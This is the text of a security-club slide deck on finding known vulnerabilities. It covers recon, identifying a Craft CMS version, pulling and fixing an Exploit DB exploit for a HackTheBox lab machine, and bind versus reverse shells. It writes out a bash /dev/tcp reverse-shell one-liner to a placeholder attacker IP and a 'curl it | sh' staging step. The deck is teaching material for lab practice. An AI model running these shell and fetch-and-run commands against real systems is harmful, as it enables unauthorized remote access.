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Finding Known Vulnerabilities



Active Recon
- As you are scanning machines, 

take careful note of services
- You will need to take notes

- Especially if you are attacking a 
target as a team

- Personal preference, but I like 
to save all raw tool output in 
folders by hostname

- Manual analysis is separate



Active Recon
- In this example, we see just two 

target services
- Record their versions!
- Port 22 - SSH (OpenSSH 8.9p1 

Ubuntu)
- Port 80 - nginx 1.18.0
- Neither of these can be feasibly 

attacked



Digging Deeper
- SSH has no preauth attack surface
- Web site does

- nginx is our reverse proxy
- What's Craft CMS?



Dr. Google



Dr. Google



Prerequisites
- That massive list of CVEs had 

differing prerequisites
- Some require authentication, no dice
- Some have specific version numbers
- Some require specific configurations

- What do we do to cut this down?



Enumerate Harder
- Let's go take a look again and find 

our version
- Base page not helpful



Enumerate Harder
- Let's go take a look again and find 

our version
- Base page not helpful
- What if we try /admin?

- Finding this reliably will be covered in 
the Purple Team web hacking 
meeting

- We can see "Craft CMS 5.6.16"



Exploit PoCs



Exploit Repositories
- The historical place with all the exploits is Exploit DB
- Many of these are UNVERIFIED

- There are fake exploits out there!
- There are very low quality exploits out there!

- Make sure you understand the vulnerability, read carefully, then 
adapt the Proof of Concept



Exploit Repositories
- Mirror the local copy with 

`searchsploit -m EDB_ID`
- Ignore my weird path, I'm on a 

custom Fedora setup



Common Vulnerabilities & Exposures
- CVEs are tracked by everyone as known vulnerabilities
- Provides a high-level public record of what is wrong with the target
- Not all vulnerabilities are exploitable

- e.g. OOB write may exist but not let you write to anything relevant
- Not all exploitable vulnerabilities have exploit PoCs available
- One of the key uses of AI in security is the ability to combine 

reverse engineering with known vulnerabilities to create exploit 
PoCs at machine speed
- Suspected Chinese hackers did that here to target Chrome & Windows

- If you have an exploitable vulnerability that's not in the CVE list, 
then you probably have a zero-day exploit

https://thehackernews.com/2026/09/four-spy-groups-used-same-chrome-and.html
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Using AI
- I trained on this long before AI 

was being used for cyber
- Be careful when using AI in 

your workflow, as it often does 
not understand prerequisites or 
threat modeling

- It's decently capable if you 
already are familiar with doing 
it manually
- Generally slower than using 

Exploit DB yourself



PWN TIME
- Run the exploit from exploit-db



PWN TIME
- Run the exploit from exploit-db



Fixing Exploits
- You should know what the 

exploit does and how it works
- This way, when it inevitably 

breaks, you can fix it!
- Let's see:

- Mentions a "Yii deserialization" 
gadget (what's Yii?)

- PHP session file - what's that?



Understanding the Root Cause
- Don't try to be fast. Read the original research

- In this case, researchers found it here

https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/


Understanding the Root Cause
- Cause of failure:

- Exploit we used has no CSRF handling!
- Researchers have us covered



Optional: Improving Exploits
- Despite exploiting the 

vulnerability, the threat actor in 
the article suffered major aura 
loss
- Didn't hide the Python 

user-agent
- Their file server 404'd
- They kept deleting their payloads 

then re-adding them
- By understanding exploits, we 

can make concrete stealth 
improvements



Pimp My Exploit



Welcome to Shell



Bind Shells

- Run a command or program 
to run a shell as a service
- Binds to a port on the 

victim
- Connect forward into the 

shell
- Generally uncommon. Why?



Bind Shells

- Run a command or program 
to run a shell as a service
- Binds to a port on the 

victim
- Connect forward into the 

shell
- Generally uncommon due to 

poor security and stealth
- Anyone can connect to this!



Reverse Shells

- Shell connects back to an 
attacker server
- In this case, the attacker 

runs the "service" to 
accept the connection

- Harder to detect (most 
software clients generate 
outbound TCP traffic)

- More secure - only the 
attacker gets access



Food for thought

- What happens here?
- You might need something 

more advanced than a shell…



Getting our Reverse Shell
- Different one-line commands depending on the platform
- The classic for Linux is:

- bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1
- Note that this will not be stable
- Reverse shells are not stealthy at all!



Getting our Reverse Shell
- Different one-line commands depending on the platform
- The classic for Linux is:

- bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1
- Note that this will not be stable
- Reverse shells are not stealthy at all!
- What went wrong here?



Getting our Reverse Shell
- Exploit expects URL coding 

compliance, presumably
- Not sure the exact reason
- To fix this general class of 

failure, we can stage it instead
- Put your connect-back code in a 

file
- curl it | sh

- In this case, I also used a 
Python reverse shell

https://github.com/HarshRatheeOfficial/Reverse-Shells-Cheat-Sheet/


Practice
Machine is Orion on HackTheBox

https://app.hackthebox.com/machines/Orion


Next Meetings
2025-09-17 • This Thursday
- Web Security
- Learn about the underlying primitives behind this exploit and web 

enumeration
2025-09-22 • Next Tuesday
- Linux Security


